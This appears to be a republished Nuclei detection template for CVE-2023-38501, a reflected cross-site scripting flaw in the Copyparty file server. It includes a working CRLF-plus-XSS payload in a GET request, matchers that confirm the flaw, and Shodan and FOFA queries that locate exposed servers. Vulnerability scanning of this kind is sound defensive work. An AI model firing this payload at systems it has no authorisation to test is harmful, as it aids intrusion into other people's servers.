CopyParty v1.8.6 - Cross Site Scripting

ID: CVE-2023-38501

Severity: medium

Author: ctflearner,r3Y3r53

Tags: cve,cve2023,packetstorm,copyparty,xss,oss,copyparty_project

Description

Copyparty is a portable file server. Versions prior to 1.8.6 are subject to a reflected cross-site scripting (XSS) Attack.Vulnerability that exists in the web interface of the application could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link.

YAML Source

id: CVE-2023-38501

info:
  name: CopyParty v1.8.6 - Cross Site Scripting
  author: ctflearner,r3Y3r53
  severity: medium
  description: |
    Copyparty is a portable file server. Versions prior to 1.8.6 are subject to a reflected cross-site scripting (XSS) Attack.Vulnerability that exists in the web interface of the application could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link.
  remediation: Fixed in v1.8.6
  reference:
    - https://www.exploit-db.com/exploits/51635
    - https://github.com/9001/copyparty/releases/tag/v1.8.6
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38501
    - http://packetstormsecurity.com/files/173821/Copyparty-1.8.6-Cross-Site-Scripting.html
    - https://github.com/9001/copyparty/commit/007d948cb982daa05bc6619cd20ee55b7e834c38
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38501
    cwe-id: CWE-79
    epss-score: 0.00198
    epss-percentile: 0.57252
    cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: copyparty_project
    product: copyparty
    shodan-query:
      - title:"copyparty"
      - http.title:"copyparty"
    fofa-query: title="copyparty"
    google-query: intitle:"copyparty"
  tags: cve,cve2023,packetstorm,copyparty,xss,oss,copyparty_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/?k304=y%0D%0A%0D%0A%3Cimg+src%3Dcopyparty+onerror%3Dalert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<img src=copyparty onerror=alert(document.domain)>","\">go to")'
        condition: and
# digest: 4a0a00473045022100cea6e52611a5d848dda081ec34b7afbbdacf32e15767414e6526efa0f4302c1702206a9d350537e17d4fecc1e3e160ce8dc512bbf59f3417f7ebcfcdf4dccdb05d06:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-38501.yaml"

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